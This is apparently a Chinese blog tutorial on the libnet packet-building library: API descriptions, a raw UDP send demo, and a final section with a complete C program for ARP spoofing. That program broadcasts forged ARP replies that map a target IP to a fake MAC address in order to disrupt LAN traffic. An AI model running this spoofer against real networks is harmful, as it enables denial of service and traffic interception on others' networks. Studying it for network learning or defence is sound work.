Libnet 特点 安装 开发流程 libnet_init libnet_destroy libnet_build_udp libnet_build_ipv4 libnet_build_ethern

                                           粉丝不过W 

Libnet 概念

    专业的构造和发送网络数据包的开发工具包

    是个高层次的 API 函数库,允许开发者自己构造和发送网络数据包

Libnet 特点

     隐藏了很多底层细节,省去了很多麻烦;如缓冲区管理、字节流顺序、校验和计算等问题,使开发者把重心放到程序的开发中

     可轻松、快捷的构造任何形式的网络数据包,从而开发各种各样的网络程序

     使用非常广泛,如著名的软件 Ettercap、Firewalk、Snort、Tcpreplay

  Libnet 的安装

sudo apt-get install libnet-dev

Libnet 开发实例

   Libnet 开发流程

        利用 libnet 函数库开发应用程序的基本步骤:

             数据包内存初始化

            构造数据包

            发送数据

            释放资源

       libnet 库主要功能: 

            内存管理

            地址解析

            包处理

libnet_init 

/*
 *function:
 *  数据包内存初始化及环境建立
 *parameter:
 *  injection_type: 构造的类型
        LIBNET_LINK
        LIBNET_RAW4
        LIBNET_LINK_ADV
        LIBNET_RAW4_ADV
 *  device:网络接口,如"eth0",或 IP 地址,亦可为 NULL(自动查询搜索)
 *  err_buf: 存放出错的信息
 *return:
 *  成功: 一个 libnet 句柄
 *  失败: NULL
 */
libnet_t *libnet_init(int injection_type, char *device, char *err_buf);
lib_net = libnet_init(LIBNET_LINK_ADV, "eth0", err_buf);
if(NULL == lib_net)
{
    perror("libnet_init");
    exit(-1);
}

libnet_destroy

/*
 *function:
 *  释放资源
 *parameter:
 *  l: libnet 句柄
 */
void libnet_destroy(libnet_t *l);
libnet_destroy(lib_net);

libnet_build_udp

/*
 *function:
 *  构造 udp 数据包
 *parameter:
 *  sp:        源端口号
 *  dp:       目的端口号
 *  len:      udp 包总长度
 *  sum:      校验和,设为 0,libnet 自动填充
 *  payload:  负载,可设置为 NULL
 *  payload_s:负载长度,或为 0
 *  l:         libnet 句柄
 *  ptag:     协议标记
 *return:
 *  成功: 协议标记
 *  失败: -1
 */
libnet_ptag_t libnet_build_udp( u_int16_t sp,
                                u_int16_t dp,
                                u_int16_t len,
                                u_int16_t sum,
                                u_int8_t *payload,
                                u_int32_t payload_s,
                                libnet_t *l,
                                libnet_ptag_t ptag)

libnet_build_ipv4

/*
 *function:
 *  构造一个 IPv4 数据包
 *parameter:
 *  ip_len:   ip 包总长
 *  tos:      服务类型
 *  id:       ip 标识
 *  flag:     片偏移
 *  ttl:      生存时间
 *  prot:     上层协议
 *  sum:      校验和,设为 0,libnet 自动填充
 *  src:       源 ip 地址
 *  dst:      目的 ip 地址
 *  payload:  负载,可设置为 NULL
 *  payload_s:负载长度,或为 0
 *  l:         libnet 句柄
 *  ptag:     协议标记
 *return:
 *  成功: 协议标记
 *  失败: -1
 */
libnet_ptag_t libnet_build_ipv4(u_int16_t ip_len,
                                u_int8_t tos,
                                u_int16_t id,
                                u_int16_t flag,
                                u_int8_t ttl,
                                u_int8_t prot,
                                u_int16 sum,
                                u_int32_t src,
                                u_int32_t dst,
                                u_int8_t *payload,
                                u_int32_t payload_s,
                                libnet_t *l,
                                libnet_ptag_t ptag)

libnet_build_ethernet

/*
 *function:
 *  构造一个以太网数据包
 *parameter:
 *  dst:      目的 mac
 *  src:      源 mac
 *  type:     上层协议类型
 *  payload:  负载,即附带的数据
 *  payload_s:负载长度
 *  l:        libnet 句柄
 *  ptag:     协议标记
 *return:
 *  成功: 协议标记
 *  失败: -1
 */
libnet_ptag_t libnet_build_ethernet(u_int8_t *dst,
                                    u_int8_t *src,
                                    u_int16_t type,
                                    u_int8_t *payload,
                                    u_int32_t payload_s,
                                    libnet_t *l,
                                    libnet_ptag_t ptag);

 libnet_write

/*
 *function:
 *  发送数据到网络
 *parameter:
 *  l:libnet 句柄
 *return:
 *  失败:-1
 *  成功:其他
 */
int libnet_write(libnet_t * l)

demo:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>

int main(int argc, char *argv[])
{
    char send_msg[1000] = "";
    char err_buf[100] = "";
    libnet_t *lib_net = NULL;
    int lens = 0;
    libnet_ptag_t lib_t = 0;
    unsigned char src_mac[6] = {0x00, 0x0c, 0x29, 0x1b, 0x22, 0x0a};    //发送者网卡地址
    unsigned char dst_mac[6] = {0xc8, 0x9c, 0xdc, 0xa9, 0x52, 0x3c};    //接收者网卡地址
    char *src_ip_str = "172.20.226.3"; //源主机IP地址
    char *dst_ip_str = "172.20.226.2"; //目的主机IP地址
    unsigned long src_ip, dst_ip = 0;
    int res = 0;

    lens = sprintf(send_msg, 
                   "1_lbt4_5#131200#C89CDCB70F19#0#0#0#305b#5:%d:%s:%s:%d:%s",    
                   123,
                   "he.liang",
	               "HE-LIANG",
                   32,
                   "lh");

    lib_net = libnet_init(LIBNET_LINK_ADV, "eth0", err_buf);	//初始化
    if(NULL == lib_net)
    {
        perror("libnet_init");
        exit(-1);
    }
    //将字符串类型的ip转换为顺序网络字节流
    src_ip = libnet_name2addr4(lib_net, src_ip_str, LIBNET_RESOLVE);
    dst_ip = libnet_name2addr4(lib_net, dst_ip_str, LIBNET_RESOLVE);

    //构造udp数据包
    lib_t = libnet_build_udp(2425,
                             2425,
                             8 + lens,
                             0,
                             send_msg,
                             lens,
                             lib_net,
                             0);
    //构造ip数据包
    lib_t = libnet_build_ipv4(20+8+lens,
                              0,
                              500,
                              0,
                              10,
                              17,
                              0,
                              src_ip,
                              dst_ip,
                              NULL,
                              0,
                              lib_net,
                              0);
    //构造以太网数据包
    lib_t = libnet_build_ethernet((u_int8_t *)dst_mac,
                                  (u_int8_t *)src_mac,
                                  ETHERTYPE_IP,
                                  NULL,
                                  0,
                                  lib_net,
                                  0);

    res = libnet_write(lib_net);	//发送数据包
    if(-1 == res)
    {
        perror("libnet_write");
        exit(-1);
    }

    libnet_destroy(lib_net);	//销毁资源
    printf("----ok-----\n");
	return 0;
}

 ARP 欺骗

局域网中的网络流通是按照 MAC 地址进行传输的,可以通过欺骗通信双方的 MAC 地址,即可达到干扰通信的目的

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
#include <pcap.h>

#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4

typedef unsigned char uchar;
typedef unsigned long ulong;

int main(int argc,char **argv)
{
    libnet_t *net_t = NULL; 	//定义libnet_t指针变量
    char *dev = "eth0"; 		//定义设备名称
    char err_buf[LIBNET_ERRBUF_SIZE];
    libnet_ptag_t p_tag; 		//定义libnet_ptag_t变量

    //发送者网卡地址(伪装mac)
    uchar src_mac[MAC_ADDR_LEN] = {0x00,0x00,0x00,0x00,0x00,0x00};
    //接收者网卡地址
    uchar dst_mac[MAC_ADDR_LEN] = {0xff,0xff,0xff,0xff,0xff,0xff};
    char src_ip_str[20] = ""; //源主机IP地址(被伪装的ip)
    ulong src_ip,dst_ip = 0;
    char *net_interface = NULL;
    int res;

    printf("please input the aim ip:\n");
    fgets(src_ip_str, sizeof(src_ip_str), stdin);
    src_ip_str[strlen(src_ip_str)-1]='\0';

    //将字符串类型的ip转换为顺序网络字节流
    src_ip = libnet_name2addr4(net_t,src_ip_str,LIBNET_RESOLVE);

    net_interface = pcap_lookupdev(err_buf);
    if(NULL == net_interface)
    {
        perror("pcap_lookupdev");
        exit(-1);
    }

    net_t  = libnet_init(LIBNET_LINK_ADV, net_interface, err_buf);//初始化发送包结构
    if(net_t == NULL)
    {
        printf("libnet_init error\n");
        exit(-1);
    }

    p_tag = libnet_build_arp(ARPHRD_ETHER,           //以太网
                             ETHERTYPE_IP,           //protocol type ip协议
                             MAC_ADDR_LEN,           //mac length  6
                             IP_ADDR_LEN,            //protocol length  4
                             ARPOP_REPLY,            //op type  2 arp应答
                             (u_int8_t *)src_mac,    //更新目的地的arp表
                             (u_int8_t *)&src_ip,    //source ip addr
                             (u_int8_t *)dst_mac,    //dest mac addr
                             (u_int8_t *)&dst_ip,    //dest ip  addr
                             NULL,                   //payload
                             0,                      //payload length
                             net_t,                  //libnet context
                             0 );                    //0 stands to build a new one
    if(-1 == p_tag)
    {
        printf("libnet_build_arp error");
        exit(-1);
    }
    //以太网头部
    p_tag = libnet_build_ethernet((u_int8_t *)dst_mac,    //dest mac addr
                                  (u_int8_t *)src_mac,    //source mac addr
                                  ETHERTYPE_ARP,          //protocol type
                                  NULL,                   //payload
                                  0,                      //payload length
                                  net_t,                  //libnet context
                                  0);                     //0 to build a new one
    if(-1 == p_tag)
    {
        printf("libnet_build_ethernet error");
        exit(-1);
    }

    res = libnet_write(net_t);   //发送
    if(-1 == res)
    {
        printf("libnet_write error!\n");
        exit(-1);
    }

    libnet_destroy(net_t); //释放资源 
    printf("----SUCCESS----\n");
    return 0;
}

生成结果

猜你喜欢

转载自blog.csdn.net/qq_44226094/article/details/105728111
今日推荐